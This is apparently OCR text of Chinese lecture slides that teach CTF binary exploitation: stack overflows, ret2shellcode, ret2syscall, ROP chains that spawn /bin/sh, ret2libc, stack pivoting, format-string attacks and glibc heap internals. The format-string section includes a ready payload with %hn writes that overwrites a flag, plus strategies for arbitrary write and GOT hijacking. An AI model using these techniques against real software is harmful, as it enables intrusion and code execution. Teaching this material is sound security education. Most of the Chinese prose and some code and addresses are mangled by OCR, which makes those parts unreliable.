pop %ebp

ret

ret addr (caller's caller)

Ay ——

%ebp in caller's caller

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword




MRS HEM | CGESREERE
YERTL (cdecl)

HY]

00000012 <caller>:

e5
ec
03
02
01
fc
c4
45
45
45

10

f+ ff
Qc
fc
fc 04
fc

00000 <callee>:

12: 55
13: 89
15: 83
18: 6a
la: 6a
1c: 6a
le: e8
23: 83
26: 89
29: 83
2d: 8b
30: c9
31: c3
0: 55
1: 89
3: 8b
6: 8b
9: 01
b: 8b
e: 01
10: 5d
11: c3

e5
55
45
c2
45
do

08
oc

10

£f

push
mov
mov
mov
add
mov
add
pop
ret

push
mov
sub
push
push
push
call
add
mov
addl
mov
leave

%ebp

%ebp

%esp,%ebp
$0x10, %esp
$0x3

$0x2

$ox1

1f <callee>
$0xc,%esp

%eax, -0x4(%ebp)
$0x4,-0x4(%ebp)
-0x4 (%ebp) ,%eax

%esp, %ebp
ox8(%ebp) , %edx
Oxc (%ebp) ,%eax
%»eax, »edx
0x10(%ebp) , %eax
%edx, %eax

%ebp

4esp

—»

ret addr (caller's caller)

%ebp in caller's caller

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword




IR EAL | ret2text

« NEFTE=ANR, ARSIt im B I EaIER 1,

SR IEERI TR EME RN TR )T EZ 2 iEFHY
EHIN, RBERERSEASEEREEBHEN, 2
FPHEEHIIN SR SRS B R EBES, XS RILIE
Z R ERERSRELI I T, MiEdiE S TIE iR
EHSFesrie eip, PIARIIBBERRIZLL eip FA
I e < RIHBAL,

-« SREBREVBRERET, WRELL eip 8RINEIES,

FEMLES? B, MRERIET, IREIIIZHIE
t5 eip, PRARIRFE LR HEERBE R AU
REBFHREIAFAILLY . BUR, B LR #0E
NEE—BRKHES, WLIERFEMVES A
HIKTEE<

Caller's
function
state

Callee’s
function
state

High address

Return Address

Caller’'s Caller's ebp |+— ebp

argn

arg2

arg1

Return Address

<— esp

Stack top

Low address

Try to
overflow
this area !!!




IR EAL | ret2text

K

X (Buffer overflow)

ABERERAETXPENTBRIVEE, SREBEIIMERS 78 iR FEXE,

. MEH (Stack overflow)
- &3all. REtES. BESRAN_H#HFIE
- 1 CTF PWN {FE2mEF BRIEM
- MEHEH (Heap overflow)
- EEIEEEEZY, FHEFEEZ
« CTFPWN /g9 D8
+ Dataigm

 IEERERIKERT Datafg LR 7 {ai=HlE0E



IR EAL | ret2text

> d>& L
13m0
return address int overflow()
i {
stack frame pointer S L ¢
local variables: buf } read(®, buf, 16);

i AAAABBBBCCCCDDDD

DDDD int overflow()
CCCcC {
char buf[8];
BBBB read(Q, buf, 16); <«




HimHER | ret2text

- SR ERR[EEIE
EFPEEEIIRE

For Kernel

v

shared libraries

|

Heap

Bss
Data

Stack

Text



IR HER | ret2shellcode

For Kernel
.

Stack

. BN FHSREI T '
ZFNMEND shellcode FrfE
22 X bk o

o {JERFENS shellcode BES shared libraries
N PX

- BBIHET the NX bits {RIFP+EHE
R, HEPXARHRT, I
W YR HFERZ G bss
ZRXE N shellcode i@ Heap
ZIMXB N shellcode FHEH Bss
mprotect T E R I TR

Data

Text




IR HER | ret2shellcode
For Kernel

Stack
[ ret_addr = shellcode_addr |
v
- SR ERNR BN
EFENR shellcode FrE
22X bt shared libraries
o JERIF RS shellcode BHiES
NIEZE X
- HBEIBRT the NX bits {RiF1E1E
AR, HEHPXAERIT,
= MY BFERZE M bss Heap
=X S shellcode s [ai
EI S ot T shellcodeweinput | Bss
mprotect Tt FEETHTIRE
Data
Text



Part3 1R[O|SHR%IE

* ret2syscall

» IS RIITE

» ret2libc

- HERJROPHIG




IRBISATREE | ret2syscall

T LARESER?

o BRERGFIRHEBPNREEL

- RN ERFSFEENEERFRYEO

o AR LER—ERZEREE, klﬁﬂﬁiﬂﬁ??‘t%[abﬂiﬂ#

« x86 BT int Ox80 I8 HITRFEARE. amd6od BT syscall i8S HITE SR IEH

551

« my_puts() -> write() -> sys write()
« my_puts( “Hello world!” );
o TEF ELF FFRRBRFAREE
« write(1, &" Hello world!” , 12);
« libc FRYBFEE
« [eax =4; ebx =1, ecx = &"Hello world!”; edx = 12; ] + int 0x80; => sys write()

o Linux RIZFRIRIZAAS



IRBISATREE | ret2syscall
Q A

o] REREFTIRE EFERN—RABEE:

mov eax, Oxb RO P
mov ebx, [“/bin/sh”]

mov ecx, 0 . .
{Q%X%%X’O Return Oriented Programming
=> execve("/bin/sh" NULL,NULL) REBEHEIRIZE

A UBAERIT execve("/bin/sh”,NULL,NULL)
1% EAME?



IREISMIHIE | ret2syscall

stack stack text
int 0x80 address
0
pop_edx ret address
pop_edx_ret
0
pop_ecx_ret address -
Int 0x80
“/bin/sh” address
pop_ebx ret address
Eeimih > oxb BEEHAT > pop_ebx_ret
return address pop_eax ret address
pop_eax_ret

pop_ecx_ret




IRBISATREE | ret2syscall

pop_edx_ret

int Ox80

gadget — pop_ebx_ret

pop_eax_ret

pop_ecx_ret




IRBISATREE | ret2syscall

ROP(Return Oriented Programming)

Ox41414141
. mov %eax, (%edx); ret R Px080788c1
E Xor %eax, Xeax; ret E« ———————————————— Ox0809951F
0Xx0cOcocc
ESP >
EIP —— pop %edx; ret; e Ox08052318




IRBISATREE | ret2syscall

ROP(Return Oriented Programming)

0x41414141
' mov %eax, (%edx); ret e T Ox080788c1
T ESP =
EIP —— xor %eax, %eax; ret N L EEE L 0x0809951f
%edx = value value
pop %edx; ret; hiiniuinteiedeieieieiieldaly 0x08052318

I E—

. stack overflow; ret;



IRBISATREE | ret2syscall

ROP(Return Oriented Programming)

0x41414141
______________________________________________________ ESP ——
EIP  — mov %eax, (%edx); ret e T Ox080788c1
| %eax = ©
Xor %eax, xseax; ret aaiiai bl T Ox0809951f
%edx = value value
. pop %edx; ret; e R LR 0x08052318




IRBISATREE | ret2syscall

ROP(Return Oriented Programming)

ESP >
- 0x41414141
EIP —— 0x41414141 *(int *)value = ©
mov %eax, (%edx); ret A e 0x080788c1l
] %meax =90
. xor %eax, %eax; ret R et T repu— Ox0809951F
%»edx = value value

. pop %edx; ret; e T ©x08052318




IR[EIS AR | ret2syscall

For Kernel -

|
Stack
+
« SRt BiR[EHEIEA Libc
H—ERXis h—%F) gadget
Ot RERBERES
|
Heap
Bss
Data
Text

Unused



REISRRE | ISR

BSHEE NS
. TR R R IR DRSS . GEERSTE RIS DI\ BT T

¥ > Lm > xR > =& > T
CREB > TR > BIRXE > HiTr > s




REISRRE | ISR

SR AR

sections

.got

.got.plt

addr of .dynamic

.dynamic —

link_map

dl_runtime_resolve

.data

.got.plt —

printf@plt + 6

puts

e .dynamic section
o IRHDISHEEERER
e link_map
o (RFFHIEEHNBINSERZE
ENUES
e _ dl runtime_resolve
o EREEETRTRNTOISHEE
JE R R R SRR A BRI ET



REISRRE | ISR

text

call foo@plt

foo@plt

PLTO

.got.plt

jmp *(foo@GOT)
push index

//f jmp PLTO

push *(GOT+4)
jmp *(GOT+8)

printf

foo@plt+6

bar

A libc Y foo BREL



REISRRE | ISR

text

call foo@plt

foo@plt

PLTO

.got.plt

jmp *(foo@GOT)
push index

//f jmp PLTO

push *(GOT+4)
jmp *(GOT+8)

printf

foo@plt+6

bar

HIEEXEAH foo



REISRRE | ISR

text foo@plt PLTO
. ngusﬁfgzgggT) push *(GOT+4)
1 %k
call foo@plt / imp PLTO jmp *(GOT+8)
.got.plt
printf
foo@plt+6

HkaEE .plt #RY foo FIn
bar plt FAIIDIZENBEEEZ] .got.plt HiEFATHELE




REISRRE | ISR

text foo@plt PLTO

jmp *(foo@GOT)
(

push *(GOT+4)
jmp *(GOT+8)

call foo@plt //f Smp PLTO

.got.plt

printf
foo@plt+6

HTHIERE XA foo
bar & .got.plt PIERAIHEUERE foo@plt+1




REISRRE | ISR

jmp *(foo@GOT)

push index push *(GOT+4)

call foo@plt Smp *(GOT+8)
.got.plt
printf
foo@plt+6

bar [B12] .plt /97T foo AYSERRIBLE




REISRRE | ISR

text

call foo@plt

foo@plt

PLTO

.got.plt

jmp *(foo@GOT)
push index

//f jmp PLTO

push *(GOT+4)
jmp *(GOT+8)

printf

foo@plt+6

bar

BkEER plt SLEB
73 _dl_runtime_resolve REIES



REISRRE | ISR

text

call foo@plt

foo@plt

PLTO

.got.plt

jmp *(foo@GOT)
push index

//f jmp PLTO

push *(GOT+4)
jmp *(GOT+8)

printf

foo@plt+6

bar

BkEER plt SLEB
73 _dl_runtime_resolve REIES



REISRRE | ISR

text dl_resolve

call fix_up

call foo@plt e
ret Oxc

.got.plt

printf
foo@plt+6

_dl runtime_resolve BRZf#HT foo RIEIE I
bar BN .got.plt &




REISRRE | ISR

text dl_resolve
. call fix up
call foo@plt e
.got.plt
printf
foo

Ithf5 .got.plt HFTFRIE foo FIESCHbIL

bar




REISRRE | ISR

text foo@plt PLTO

3 Xk
i JmpusﬁfgzgggT) push *(GOT+4)
call foo@plt pjmp L To imp *(GOT+8)

.got.plt

printf

foo

B2 XA foo
bar




REISRRE | ISR

text foo@plt PLTO
jmp *(f00@GOT),
JIpR- ChoofGOl) push *(GOT+4)

push index

call foo@plt imp PLTO

jmp *(GOT+8)

.got.plt

printf

foo

HizxH .got.plt BkEZ| foo RYESCHEIE
bar B T SRR BN DR




REISRRE | ISR

Code

call 0x8048330 <printf@plt>

mov eax,DWORD PTR [ebp+0xc]

PLT

PLT[O]:
call resolver

NP | B

ok

GOT

ébT[n]:
<addr>

EI;T[n]: A
jmp *GOT[n]

prepare resolver <

jmp PLT[O]




REISHRE | ret2libc

For Kernel

Stack
| ret addr=gadget addr |
4
B SR T ISR Ui
H—ERXig— &7 gadget
AOtdE, S=ZEA libc Y
RETRE shel I
Heap
Bss
Data
Text

Unused



IRBEISAZHRE | ret2libc

o) | system("/bin/sh")
high address char *argv "bin/sh" exit(0)
Int argc exit
| shellcode addr - return - ___, system
address
Overflow shellcode padding Overflow
nop sled : padding
low address




IREISEYHEE | ret2libc

stack overflow:

push ebp 0 | system("/bin/sh™)
. mov ebp, esp | "bin/sh" exit(0)
E exit

%eip — ret |
system
e ESP >
| i padding Overflow
. system |
Epush ebp
. mov ebp, esp | i
. ...(execute command) padding
ret

____________________________________________



IR[EIS AR | ret2libc

Estack overflow:

' push ebp 0 | system("/bin/sh")
mov ebp, esp “Ibin/sh" exit(0)
exit
ret ESP >
____________________________________________ system
system: i padding Overflow
%eip ————+§push ebp
. mov ebp, esp |
E . ..(execute command) E padding
ret '

____________________________________________



IRBEISAZHRE | ret2libc

Estack overflow: i N
| § 0) system("/bin/sh")

. push ebp i :

. mov ebp, esp — "/bin/sh" exit(e)
IR E exit

' ret 5 ESP >

____________________________________________ system
I § padding Overflow

dl. . . (execute command) pEtling

%eip — ret

____________________________________________



IRBEISAZHRE | ret2libc

exit: | A
%eip — push ebp — 0 system("/bin/sh")
. mov ebp, esp i "/bin/sh" el
= | ESP = _
T exit
' ret |
system
system ______________________________ padding Overflow
Epush ebp
. mov ebp, esp . "
. ...(execute command) padding
firet

____________________________________________
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ROPIZEEREHFAZMibckRZK

______________________________________________________________________________________________

_____________________________

__________________________________________________________________________________

_________________________________________________________________________________________________

int len

char *buf

int fd=1

pop3ret

write

int len

char *buf

int fd=0

pop3ret

read

. pop esi
. pop edi
. pop ebp
' ret

______________________



BEISFYRIE | HEROPHIS

2 H A AR TRATT R Hefil 1 NAF 28] 0 A CAIFIROP, {HAE 48 K HE ) %
Airt, HFASLREPIELRYHITTE, 18R IET T 30T (payload) Z W,
HEAEFTFERNEMENGFEIMER, BT RRE—EH
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(BN
Definition

] gadgetiZ esp AYE
Application
HimHiKEAR EL,UE JE#% ROP
7‘1%]53._ payload &

______________________________________________________________________

void stack _overflow(char *user) {
char dst[512];
if (strlen(user) > 536)
return;
// 536-512=24 bytes overflow!
strcpy(dst, user);

______________________________________________________________________

HINSZ= & ET, HoadgetitbiF S BE==/F
EttEIH=EEEEEH ROP payload

_______________________________________________________________________________

void stack overflow(char *user) {
char dst[512];
sprintf(dst, "%s", user);

}

X64 assembly:

0x406113: 55 push  %rbp
0x406114: 41 89 d4  mov

/edx %»rl2d

_______________________________________________________________________________



REISFYwE | EEROPRIS

BN

______________________________________________ B gadget N
EROP payload : —

______________________ — gadget 1

. add esp, Ox6C ; ret ; =« Ilvot gadget
. I_:)_______ e ESP > P gadg

stack overflow; ret;




REISFYwE | EEROPRIS

1T 7

gadget N

- gadget 1

Ox6¢ bytes

ESP > _
add esp, 9x6C ; ret ; y pivot gadget

Estack overflow; ret;




REISFYwE | EEROPRIS

1T 7

B gadget N
ROP payload < ~
- gadget 1
Eadd esp, Ox6C ; ret ; pivot gadget




REISFYwE | EEROPRIS

}&1FF%: "pop ebp ret" + "leave ret"

J’_ gadget N
. ROP payload 2 > -

e g L gadget 1 new
new ebp value | stack
addr

o by [ Flleavesret; ‘ leave ret

ebp = new stack addr new stack addr
Epop ebp ; ret ; < pop ebp ret
| ESP >

stack overflow; ret;




BEISFYRIE | HEROPHIS

}&1FF%: "pop ebp ret" + "leave ret"

X
o
B
o
Q
<
=
o
QU
Q.
N
4

pop ebp ; ret ; <

1
()
~+

o

A

gadget N

gadget 1

new ebp value

ESP

\4

leave ret

new stack addr

ebp

new stack addr

pop ebp ret

new
stack
addr



BEISFYRIE | HEROPHIS

}&1FF%: "pop ebp ret" + "leave ret"

J’_ gadget N
. ROP payload 2 < B
R L gadget 1 new
ESp new ebp value | stack
_______________________________ esp = new stack addr addr
opebp - Fileave ;ret; leave ret
ebp = new stack addr new stack addr
pop ebp ; ret ; < pop ebp ret




BEISFYRIE | HEROPHIS

}&1FF%: "pop ebp ret" + "leave ret"

gadget N

gadget 1

ESP
esp = new stack addr

_______________________

ebp = new ebp value

new ebp value

leave ret

new stack addr

pop ebp ret

new
stack
addr



REISFYwE | EEROPRIS

}&1FF%: "pop ebp ret" + "leave ret"

I

ROP payload 2

<&
<

ESP

gadget N

ﬁ >
L

esp = new stack addr

ebp = new ebp value

gadget 1

new ebp value

leave ret

new stack addr

______________________________________________

pop ebp ret

new
stack
addr



BEISFYRIE | HEROPHIS

x64 ROP

{{£FH gadget {Z1ES2L

pop rdi ; ret

pop rsi ; pop rl5 ; ret ;

setting rdx and rcx iIs hard, no trivial gadgets
ret2csu



REISFYwE | EEROPRIS

__libc_csu_init Gadgets for x64

Ltext:00000000804006908 loc_400690: : CODE XREF: _ libc_csu_init+54 j
Ltext:0000000000400690 mov rdx, ril3

LLext:0000000000400693 mow rsi, rld

Ltext:0ee000080400696 mov edi, rl5d

Ltext:0000000000400699 call gword ptr [rl2+rbx=8]

LLext:gdefdea0daddnsan add rbx, 1

LLext:00000000004006A1 cmp rbx, rbp

Jext:odeo0e00ead4006A4 inz short loc_40069@

Ltext: 000000008240 R6A6

LLext:00000000024006A6 loc_4006A6: » CODE XREF: __libc_csu_init+34°j
Ltext: 000000008240 R6A0 add rsp, 8

LText: 000000008240 R6AA pop rbx

Ltext: 002000000240 06AE pop rop

Ltext:@de00ea0da4d@6AC pop riz

Ltext:00000000004006AE pop ri3

text: 208000808240 2680 pop ri4

text:@deo0ea0eadreea2 pop rls

text:gg00000002400684 retn

text:go0o0eaeea4d06B4 _ libc_csu_init endp
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Integer Overflow

History

European Space Agency spacecraft Cluster I's satellites exploded because of integer overflow (1996)
M. Dowd, C. Spencer, N. Metha, N. Herath, and H. Flake. Advanced Software Vulnerability Assessment.
In Blackhat USA, August 2002

102BO

Array index out of bounds

102BO Array index OOB
void safe memcpy(char *src, int size) { void safe set element(char *arr, int
char dst[512]; index, char value, int arr_size) {
if (size < 512) { if (index < arr_size) {
memcpy(dst, src, size); arr[index] = value;
} }



Integer Overflow in Linux kernel

i CVE-2013-1763 Linux Kernel netlink message family
' number overflow
§ net/core/sock diag.c View file @ 6e601a5
L @@ -121,6 +121,9 @@ static int
i __sock _diag rcv_msg(struct sk _buff *skb, struct
' nlmsghdr *nlh)

if (nlmsg len(nlh) < sizeof(*req))
. return -EINVAL;
'+ if (req->sdiag_family >= AF_MAX)
L+ return -EINVAL;

hndl = sock diag lock handler(req->sdiag family);

if (hndl == NULL)

err = -ENOENT;
else
err = hndl->dump(skb, nlh);

____________________________________________________________________________________________

H static const inline struct

.1 sock_diag_handler

i *sock_diag_lock_handler(int family)
4o

| == NULL)

if (sock diag handlers[family]

request _module("net-

H pf-%d-proto-%d-type-%d", PF_NETLINK,

|| NETLINK_SOCK_DIAG, family);

mutex_lock(&sock diag table mute

H X) 5

return

H sock_diag handlers[family]; i
' L_}_________________________________________________________________________J



Integer Overflow Quiz

Integer Overflow vulnerability can be regarded as some kind of logic bug.
Integer overflow itself cannot be exploited, it is usually used to trigger buffer
overflow/heap overflow or used with ROP, ret2libc, etc.

int test(short param, int value) {
int * mybuf = (int *)malloc(65536 * sizeof(int));
if (param < 0) {
param = -param;
}

mybuf|[param] = value;

return mybuf;




Format String

History

Discovered and public since June 1999

Shocked the security community in the second half of 2000(influenced lots of programs)
Format String Attacks, Newsham (2001)

use %x and %n to achieve arbitrary read and write



Format String Vuln Discovered(year2000)

Application Found by Impact years
wu-ftpd 2.* security.is remote root | > 6
Linux rpc.statd security.is remote root | > 4
RIX telnetd LSD remote root | > 8
Qualcomm Popper 2.53 | security.is remote user | > 3
Apache + PHP3 security.is remote user | > 2
NLS / locale CORE SDI local root ?
screen Jouko Pynnonen | local root > 9
BSD chpass TESO local root ?
OpenBSD fstat ktwo local root ?




Format String related Functions

* fprintf — prints to a FILE stream

* printf — prints to the ‘stdout’ stream

* sprintf — prints into a string

* snprintf — prints into a string with length checking

« viprintf — print to a FILE stream from a va_arg structure

« vprintf — prints to ‘stdout’ from a va_arg structure

« vsprintf — prints to a string from a va_arg structure

« vsnprintf — prints to a string with length checking from a va_arg structure
* setproctitle — set argVv[]

* syslog — output to the syslog facility



Format String syntax

-%s print null terminated string pointed by arg pointer

-%x print hex value of the arg (arbitrary read)

-%n store the bytes_written to location pointed by arg pointer

-%hn - store 2 bytes (short integer)

-%hhn - store 1 byte

-%<positive integer>c print arbitrary count of chars controlled by integer
-Example: %123c (filled by space) %0512c (filled by 0)

-Useful to change bytes written so far

-%<positive integer>$<fmt> specify arg index

-Example: %12%$n



Format String Example

1 #include <stdio.h>

2 #include <string.h>

3

4 int flag = 0;

5

6 int main(int argc, char **argv) {
char buf[1024];
if (argc < 2) return 1;
strncpy(buf, argv[1l], min(sizeof(buf) - 1, 1024));
printf(buf);
printf("\n");

if (flag == 0x13371337) { // How to win

printf("You Win!\n");
}

return O;




Format String Example

S ./fmt %x:%x:%X: %X: %X: %X
ffffda9c:3ff:1blead4:253a7825:78253a78:3a78253a

S ./fmt %s:%s:%5:%5S:%5: %S

Segmentation fault (core dumped)




Format String Example

High Addr : :
1 #include <stdio.h>
2 #include <string.h>
%4911x%7$hn%65536x : ©
%8%hn 4 int flag = 0;
5
0x804a036 6 int main(int argc, char **argv) {
char buf[1024];
Ox804a034 if (argc < 2) return 1;

strncpy(buf, argv[1l], min(sizeof(buf) - 1, 1024));

printf(buf);
printf("\n");

Fmt str pointer

if (flag == @x13371337) {

Low Addr printf("You Win!\n");
}

return O;




Format String Example

./fmt $(python2 -c 'print
"\Xx34\xa0\x04\x08\x36\xa0\x04\x08%4911x%7$hn%65536x%8%hn" ')

How to execute
arbitrary code?

You Win!




Format String Code Exec

e retaddress on stack

o .got.plt

e .dtors

readelf -s a.out |grep DTOR
29: 08049518 0 OBJECT LOCAL DEFAULT 19 DTOR_LIST _
56: 0804951c 0 OBJECT GLOBALHIDDEN 19 DTOR _END__

e  atexit
e ..younameit



Format String Usage

1.Read / write any position if map permission is allowed

2.GOT hijacking

3.Write variable value

4.Leak libc base address and calculate offset to get another function address
5.Leak libc version

6.Leak stack address



Format String Strategy

1.Leak Info

a.Use %x %p to leak stack info

b.To leak arbitrary addr info

I.If buf on stack, write addr in buf

ii.If buf not on stack, write addr pointer on stack first, then use another printf to leak
2.Write Data

a.lf dest addr not known, leak addr first(mostly stack)

b.If buf on stack, use addr in buf (Libformatstr can help)

c.If buf not on stack

I.Common way: use ebp->ebp pair (or sth similar) to change arbitrary addr
ii.1f using snprintf, then write addr first using %n (suitable for 0x0804xxX)



Format String tricks and gotchas

-Q: How to calculate positional param?

A: Libc said that the behavior is undefined if positional param position is larger than provided non-
positional param count. But for most case, the addr should be word size x position . Soit's more
easier to open your gdb and use pattern string to find the actual position instead of calculating. Besides,

%0%$x is not recognised.

Q: What if the second %n needs a small value to be written while bytes written just goes larger?
- A: Just use integer overflow. (For example, if %hn applies, second _padding=(second_size+65536-
first _padding) % 65536 )



Format String tricks and gotchas

Q: When can | use %n and when shouldn’t?

A: For printf, it'll be too large to print out in your console(or socket if socat/xinetd used). But for
snprintf, you can use %n with not too large values. (0x0804xxxx can be considered not too large) snprintf
won'’t overflow, but will calculate the actual value and return actual bytes_written.

Q: Can | modify more than 1 values on stack within a single format string?

A: Definitely you can.But if you want the second value addr to be based on the first modified value,
there are some tricks here: The first %n must not be positional param. That’'s because In libc
implementation, the positional values are copied into an internal struct in function printf positional
before applying fmt transformation.



Format String Challenge

// simplified version of SCTF 2016 pwn200
static s[Ox400];
static buf[Ox400];

void run_system() { system("/bin/sh"); } Can you pwn

using different
solutions?

void main() {
for (int 1 = 0; 1 < 2; i++) {
fgets(buf, 1024, stdin);
snprintf(s, 1024, buf);
puts(s);
fflush(stdout);




Format String Tools and Ref

-https://qithub.com/hellman/libformatstr
-https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf
-http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes New/Format String.pdf



https://github.com/hellman/libformatstr
https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf
http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf

: |
|
Input: printf({"Color %-5 Number %d, Float %4.2f", "red", 123456, 3.14);

)

Output: Color red, Number 123456, Float 3.14
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HEFIA | R

H 2242

Stack
L o BREMENESEIR—HRELAV S M X,
shared libraries : El{%ﬁ%ﬁﬁ@aﬁ’mﬁ, SRR R R A/ NRANRY
?
T . ETF'—?EM’E%@}EZFEH, ERENSAHEEENF
|E]
Heap - IIRIFBPREENIAER, FHRFRARENTE,
Data REBEIRRBIERAFRERF
Text - EEAPAEREATE, & NSRS ERERS




YRR | tHEREA

SHEEHES

MEETEERFAFHRFRSTSLI, M2l

. dImalloc — General purpose allocator libc.so. 6t ESCIL, 393 7 —SER 50
. otmalloc? — glibe. . (HER) A, RFFEATS BRI BT
 jemalloc — FreeBSD and Firefox HERY, XS EEHRGEARS

« tcmalloc — Google libumem — Solaris REIATF.
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System independent

Application application code

RIsAENRSAREA

System independent

malloc :
library code

« brk
* mmap

System independent library
code to trap to kernel

sys_ mmap_pgoff Kernel code



H#EFIF | arena

darénad

WESEEX, IR SRS TED
BERR --> HETESE --> AR
YIERTF -->arena --> AJHARARE

HETEE SR IRER S R Farenath, BILURRAE
SRS R E RS R AN



YRR | tHEREA

0x806c000 [0xb7521000
Top Chunk AN LRELE VAN
-‘\yallnc_chunk
/-7 malloc_chunk A:,';catid
un
top J /
Allocated malloc_chunk
Chunk
malloc_state: Free Chunk
main_arena
pres_ent in malloc_chunk il
data segment Allocated
f libc.
(of libc.so) Allocated Chunk
Chunk
NOTE: Main arena dont
T lloc_chunk
have heap_info. Chunk =
malloc_chunk
top
malloc_state:
Free Chunk
size
— rev = NULL .
Chunks: malloc_chunk | . 041,000 - 0xb7500000
heap_info: ar_ptr
Heap Segment .
Memory Mapping Segment
(of process) r};D-f ;gceis], I

Main Arena Thread Arena



#EFA | chunk

chunk

FAFBRIEARENEM, thEHEEEEENFENERRN
malloc()iR[EIAIEFHERI—1 chunkBUEHEX 1

chunk F

Size of previous chunk, if unallocated (P clear)

Size of chunk, in bytes A M P

mem F

Data
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chunk BB (IR

struct malloc chunk {

INTERNAL _SIZE T prev_size; /* Size of previous chunk (if free). */
INTERNAL SIZE T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */

struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc _chunk* fd nextsize; /* double links -- used only if free. */
struct malloc chunk* bk nextsize;

s



#EFA | chunk

chunk B932£

RIS iU IS EL e

+ malloced » fast « top chunk

+ free * small « last remainder chunk
« targe

tcache
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Size of previous chunk, if unallocated (P clear)

malloced chunk - T
i B EIAS T ARRTAIEAIchunk




#EFA | chunk

chunk o

Size of previous chunk, if unallocated (P clear)

Size of chunk, in bytes A [t P

free chunk - —— -

WEEREERmalloced chunk B
Bk /afree chunk

bk_nextsize

Unused




#EFA | chunk

CHUNK 1

CHUNK 2

top chunk CHUNK 4

arenaF \FRBUEFRTHIRE
X 1

CHUNK 6

1TOP CHUNK
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malloc {2EIET chunk

last remainder chunk
mallocsEl[REchunkEFIRAY

5%

last remainder chunk




Chunk RIS

* prev size = (XEEI— chunkAfree chunkAt434
¢ size
¢ size
e A -
e M = HiEsizelgAYE3bits
. P _
- fd :
o bk AT ESEERDbiINGRIfree chunkBF&ERL

- fd nextsize
. bk_ nextsize :I— X Alarge free chunkBF4E38

= (Y 9free chunkRT4E34

[
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B8 arena PR chunk B94519, LIBAERIAFE, BETER
HERIK/NEY chunk $EERRYESRSL, f77ET arena BY malloc_state

unsorted bin
fast bins
small bins
large bins
(tcache)
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prev size

prev_size

size A M P

fid

HRI—TMIEEBRIchunkZfree
chunk, MFREAN, BUEF o
ﬁﬁ%_ﬁ‘-ﬁ_/l\c h u n kﬁgiﬁ}E fd_nextsize

k_nexisize




#EFA | chunk

size

prev_size

size

fid

BT RAE3bits LS, ;
ATEFr3RIchunkiy AN (B
ChunkE’\Jﬁ/J\’ @jiﬁchunk%) fd_nextsize

k_nexisize




#EFA | chunk

A flag

prev_size

size M P

fd

NON MAIN ARENA, i2R%a]
chunk2BRETELIE, 1 F =
Z:}E:_F, O%/__]_T}%a:o fd_nextsize

bk_nexisize

bk




#EFA | chunk

M flag

prev_size
size A |M F
fd
IS_ MAPPED, 12®3#a1 chunk 2 -
&l mmap ZEcHY.
fd_nextsize

bk_nexisize




#EFA | chunk

P flag

prev_size

PREV_INUSE, iZ®#i—4 chunk ik
REEWDES. —hskid, HPE
— D ECHIARTEIRAY size FER

fd

Y P \ERROREN 1, LMETHRS ok
ISR AR, H— —
chunk 4 size B9 P {i5 0 B, ¥ -
ﬂjﬁgﬁﬁ pl‘eV_Size ?EQ;E&HEJ: bk_nextsize

—A chunk BUR/NARMBLE, 1X
;ﬂifj‘ EHf7=" chunk 2ER0%¢ |
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fd pointer

EbindrigmR T~— (FEYIIEHESR) N
ZSHRAY chunk

k_nexisize




#EFA | chunk

bk pointer

EbinRigE _ E—~ (FEPIEESE) ok -
ZSHRAY chunk

k_nexisize




#EFA | chunk

fd nextsize

prev_size

size A M P

fid

£large binrigEEI— N 5=A0 ok
Chunk jC/J\Z:ﬁE"J%_/I\?Erﬂi;&: fd_nextsize B
REE bin fYLigEt -

bk_nexisize




#EFA | chunk

bk nextsize

prev_size

size A M P

fid

fElarge binfrigHE—1S5=H
chunk K/NAEIRIE—TZARIR,
Z:@‘g b|n E(J%}E%‘l‘ fd_nextsize

bk_nexisize

bk

—RRZWAY large chunk 7£ fd ROEGIFF, ZRREAZVNIRFES, XEERTLIESESHEE chunk FRMER
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main arena ) malloc_state 3+~ & heap segment fj—
struct malloc_state { %Bf:}’, ﬁﬁ)%_‘/l\é)%ﬁﬁ, ﬁ%ﬁ:‘: libc.so B‘Jﬁﬁﬁﬁ

/* Serialize access. */

__libc_lock_define(, mutex);

/* Flags (formerly in max_fast). */

int flags;

/* Fastbins */

mfastbinptr fastbinsY[ NFASTBINS ];

/* Base of the topmost chunk -- not otherwise kept in a bin */

mchunkptr top;

/* The remainder from the most recent split of a small request */

mchunkptr last_remainder;

/* Normal bins packed as described above */

mchunkptr bins[ NBINS * 2 - 2 ];

/* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/

unsigned int binmap[ BINMAPSIZE ];

/* Linked list, points to the next arena */

struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list lock in arena.c. */

struct malloc_state *next_free;

/* Number of threads attached to this arena. © if the arena is on
the free list. Access to this field is serialized by
free_list lock in arena.c. */

INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */

INTERNAL_SIZE_T system_mem;

INTERNAL_SIZE_T max_system_mem;

}s



HEFIA | bin

fast bins

« fastbinsY[]

- EHM@AIZE

« LIFO

- EIE 16, 24, 32, 40, 48, 56, 64 Bytes Y free chunks (32(:7 FEKIA)
« HARY chunk 89 in_use iz (F—PMIEEBSIREY chunk Y P i) 2791
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FD POINTER FD POINTER FD POINTER

FD POINTER FD POINTER FD POINTER
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unsorted bin

« bins[1]
- SENINIFERBIE D3I chunk
« ALIMAZH chunk BIIFERTE bin ZEIAEFX



HEFIA | bin




HEFIA | bin

small bins

« bins[2] ~ bins[63]

¢« 62 MBI ALK

- FIFO

- B 16, 24, 32, 40, ..... 504 Bytes Y free
chunks (32{iF)

- B MERDEFER chunk X/NE—3
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FD POINTER FD POINTER FD POINTER

FD POINTER FD POINTER FDr POINTER
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large bins

« bins[64] ~ bins[126]

« 63 NMEAFPER

 FIFO

- EIEATF 504 Bytes B9 free chunks (32{i[F)
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FO3 FOIMTER: FO FOIMTER FO FOIMTER 1 F ER FI3 FOIMTER FO FOIMTER

FI POIMTER FI POIMTER } FOINTER FI3 POINTER FI3 FOIMTER
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malloc

- BRIEAFBRIBHAERK/NARBM AN chunk @5

SEFARYSIE (fastbin chunk, small chunk, large
chunk) , #ORSEI T ARV ECTTIE,

